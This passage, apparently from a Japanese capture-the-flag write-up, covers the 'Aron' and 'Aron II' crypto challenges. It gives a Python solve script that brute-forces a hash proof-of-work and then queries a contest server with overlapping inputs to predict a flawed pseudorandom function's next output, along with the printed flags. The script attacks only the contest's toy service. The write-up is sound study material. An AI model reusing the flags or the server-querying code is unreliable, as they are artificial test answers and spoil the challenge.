| f_a(n + 3) = 145501408034299576523083822092287504510
| f_a(n + 4) = 22886445357077994349602606596591229733 
| Options: 
|	[G]uess next number! 
|	[P]RF function 
|	[N]ew numbers
|	[Q]uit
N
Do you want to provide desired integer as `n'? [Y]es [N]o
Y
enter your integer n: 
91168159348484675661422991959872493361
| the five consecutive random numbers generated by our secure PRF are: 
| f_a(n + 0) = 44362010168986067071588617474891520883
| f_a(n + 1) = 32670879450088786326381592358223094486
| f_a(n + 2) = 118085043291686788180598465855490294402
| f_a(n + 3) = 78379454949324689875746607817271265989
| f_a(n + 4) = 145501408034299576523083822092287504510 
| Options: 
|	[G]uess next number! 
|	[P]RF function 
|	[N]ew numbers
|	[Q]uit
G
please guess and enter the next number: 
22886445357077994349602606596591229733
Congratz! :) You got the flag: CCTF{___Naor-Reingold___p5euD0r4ndOM_fuNc710N__PRF__}
CCTF{___Naor-Reingold___p5euD0r4ndOM_fuNc710N__PRF__}

Aron II

Aronの出題ミスっぽいのが直っている問題かと思ったが、同じ解き方で解けてしまった。今度は全部をスクリプトにして解いてみた。

import socket
import itertools
import re
import string
import hashlib

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('167.71.62.250', 23549))

data = recvuntil(s, '\n').rstrip()
print data
pattern = 'that (.+)\(X\)\[-6\:\] = (.+)'
m = re.search(pattern, data)
h_type = m.group(1)
h_tail = m.group(2)

for c in itertools.product(string.letters + string.digits
    + '!#$%&()+-*=.,:+[]{}', repeat=4):
    X = ''.join(c)
    if h_type == 'md5':
        h = hashlib.md5(X).hexdigest()
    elif h_type == 'sha1':
        h = hashlib.sha1(X).hexdigest()
    elif h_type == 'sha224':
        h = hashlib.sha224(X).hexdigest()
    elif h_type == 'sha256':
        h = hashlib.sha256(X).hexdigest()
    elif h_type == 'sha384':
        h = hashlib.sha384(X).hexdigest()
    elif h_type == 'sha512':
        h = hashlib.sha512(X).hexdigest()
    if h[-6:] == h_tail:
        print X
        s.sendall(X + '\n')
        break

data = recvuntil(s, '[Q]uit\n').rstrip()
print data

print 'P'
s.sendall('P\n')

data = recvuntil(s, '[Q]uit\n').rstrip()
print data

print 'N'
s.sendall('N\n')

data = recvuntil(s, '[N]o\n').rstrip()
print data

print 'Y'
s.sendall('Y\n')

data = recvuntil(s, 'n: \n').rstrip()
print data

n = '99999999999999999999999999999999999999'
print n
s.sendall(n + '\n')

data = recvuntil(s, '[Q]uit\n').rstrip()
print data
pattern = 'f_a\(n \+ 4\) = (.+)'
m = re.search(pattern, data)
ans = m.group(1)

print 'N'
s.sendall('N\n')

data = recvuntil(s, '[N]o\n').rstrip()
print data

print 'Y'
s.sendall('Y\n')

data = recvuntil(s, 'n: \n').rstrip()
print data

n = '99999999999999999999999999999999999998'
print n
s.sendall(n + '\n')

data = recvuntil(s, '[Q]uit\n').rstrip()
print data

print 'G'
s.sendall('G\n')

data = recvuntil(s, 'number: \n').rstrip()
print data
print ans
s.sendall(ans + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Submit a printable string X, such that sha1(X)[-6:] = 78d8f8
DH6w
*********************************************************************************
| hey! I have developed an efficient pseudorandom function, PRF, but it needs   |
| deep tests for security points!! Try hard to break this PRF and get the flag! |
| In each step I will compute the f_a(n), f_a(n + 1), f_a(n + 2), f_a(n+3), and |
| f_a(n + 4) for secret verctor a, and for your given positive number 0 < n < p |
*********************************************************************************
| for n = 103781485000134018146769038485142316585, and with these PRF parameters:
| (p, g) = (0xe305f00bb117aee29d059efddc7b51f3, 0x58fe4656a631a7305a3e0a59a81eb3e4)
| the five consecutive random numbers generated by our secure PRF are:
| f_a(n + 0) = 234991268593909305025747004754235789466
| f_a(n + 1) = 70810672983888854922198226846536814934
| f_a(n + 2) = 134191384784257335633929561544836935794
| f_a(n + 3) = 22514196187652811688216450974804710393
| f_a(n + 4) = 228105815094197968284719203000820734387
| Options:
|       [G]uess next number!
|       [P]RF function
|       [N]ew numbers
|       [Q]uit
P
def gg(tup, a, x):
        (_, p, g), n = tup, len(a)
        assert len(bin(x)[2:]) <= n
        X = bin(x)[2:].zfill(n)
        f_ax = g
        for i in range(1, n):
                f_ax *= pow(g, a[i] * int(X[i]), p)
        return f_ax % p

| Options:
|       [G]uess next number!
|       [P]RF function
|       [N]ew numbers
|       [Q]uit
N
Do you want to provide desired integer as `n'? [Y]es [N]o
Y
enter your integer n:
99999999999999999999999999999999999999
| the five consecutive random numbers generated by our secure PRF are:
| f_a(n + 0) = 54972294286928546366615261585896020335
| f_a(n + 1) = 60219524522385663072634974727945621753
| f_a(n + 2) = 197471080809930961952625018802500468012
| f_a(n + 3) = 159722355046906579114263248014594366384
| f_a(n + 4) = 243504553220838903102994924682416081526
| Options:
|       [G]uess next number!
|       [P]RF function
|       [N]ew numbers
|       [Q]uit
N
Do you want to provide desired integer as `n'? [Y]es [N]o
Y
enter your integer n:
99999999999999999999999999999999999998
| the five consecutive random numbers generated by our secure PRF are:
| f_a(n + 0) = 290969245319810346991333270784993957068
| f_a(n + 1) = 54972294286928546366615261585896020335
| f_a(n + 2) = 60219524522385663072634974727945621753
| f_a(n + 3) = 197471080809930961952625018802500468012
| f_a(n + 4) = 159722355046906579114263248014594366384
| Options:
|       [G]uess next number!
|       [P]RF function
|       [N]ew numbers
|       [Q]uit
G
please guess and enter the next number:
243504553220838903102994924682416081526
Congratz! :) You got the flag: CCTF{___Naor-Reingold___fix3d_V3r5I0n___}
CCTF{___Naor-Reingold___fix3d_V3r5I0n___}

Survey

アンケートに答えたら、フラグが表示された。

CCTF{H4ppy_Br3king_CIph3rs_H4aackers!!}